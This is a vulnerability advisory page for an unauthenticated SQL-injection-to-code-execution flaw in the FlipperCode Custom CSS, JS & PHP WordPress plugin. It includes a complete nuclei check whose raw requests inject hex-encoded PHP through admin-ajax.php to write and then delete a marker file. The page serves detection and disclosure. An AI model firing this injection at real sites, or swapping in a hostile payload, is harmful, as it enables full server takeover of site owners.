FlipperCode Custom CSS, JS & PHP <= 2.0.7 - Remote Code Execution

criticalseverity

9.8CVSS score

1.2%likelihood of exploitation, next 30 days

68%of all CVEs are less likely

Readycheck to confirm it

Custom css-js-php WordPress plugin through 2.0.7 contains a command injection caused by unsanitized user input used in SQL query and passed to eval(), letting unauthenticated attackers execute arbitrary PHP code on the server.

Impact

Unauthenticated attackers can execute arbitrary PHP code on the server, leading to full server compromise.

Fix

Update to the latest version.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 || status_code == 500
Send: GET /wp-admin/{{filename}}.txt
Positive when: contains "{{marker}}" AND status 200
Send: POST /wp-admin/admin-ajax.php
Positive when: true

Run it with nuclei: nuclei -id CVE-2026-6433 -u <target>

The full check

id: CVE-2026-6433

info:
  name: FlipperCode Custom CSS, JS & PHP <= 2.0.7 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    Custom css-js-php WordPress plugin through 2.0.7 contains a command injection caused by unsanitized user input used in SQL query and passed to eval(), letting unauthenticated attackers execute arbitrary PHP code on the server.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code on the server, leading to full server compromise.
  remediation: |
    Update to the latest version.
  reference:
    - https://wpscan.com/vulnerability/a0b1c059-e156-4402-ac8d-67f8ad7386cc/
    - https://github.com/murrez/CVE-2026-6433
    - https://patchstack.com/database/wordpress/plugin/custom-css-js-php/vulnerability/wordpress-custom-css-js-php-plugin-2-0-7-unauthenticated-sql-injection-to-rce-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6433
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-6433
    epss-score: 0.01195
    epss-percentile: 0.68306
  metadata:
    verified: true
    max-request: 3
    vendor: flippercode
    product: custom-css-js-php
    framework: wordpress
    shodan-query: http.component:"WordPress"
  tags: cve,cve2026,wordpress,wp-plugin,sqli,rce,custom-css-js-php,unauth,intrusive,vkev

variables:
  filename: "{{rand_text_alpha(8)}}"
  marker: "{{rand_text_alpha(12)}}"

flow: |
  http(1) && http(2) && http(3);

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=fc_ajax_call&operation=wce_editor_inline_code&id=0+UNION+SELECT+1,'t','php',0x3c3f7068702066696c655f7075745f636f6e74656e74732827{{hex_encode(filename)}}2e747874272c27{{hex_encode(marker)}}27293b203f3e,'header','',0,1--+

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200 || status_code == 500"
        internal: true

  - raw:
      - |
        GET /wp-admin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}"

      - type: status
        status:
          - 200

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=fc_ajax_call&operation=wce_editor_inline_code&id=0+UNION+SELECT+1,'t','php',0x3c3f7068702040756e6c696e6b2827{{hex_encode(filename)}}2e74787427293b203f3e,'header','',0,1--+

    matchers:
      - type: dsl
        dsl:
          - "true"
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from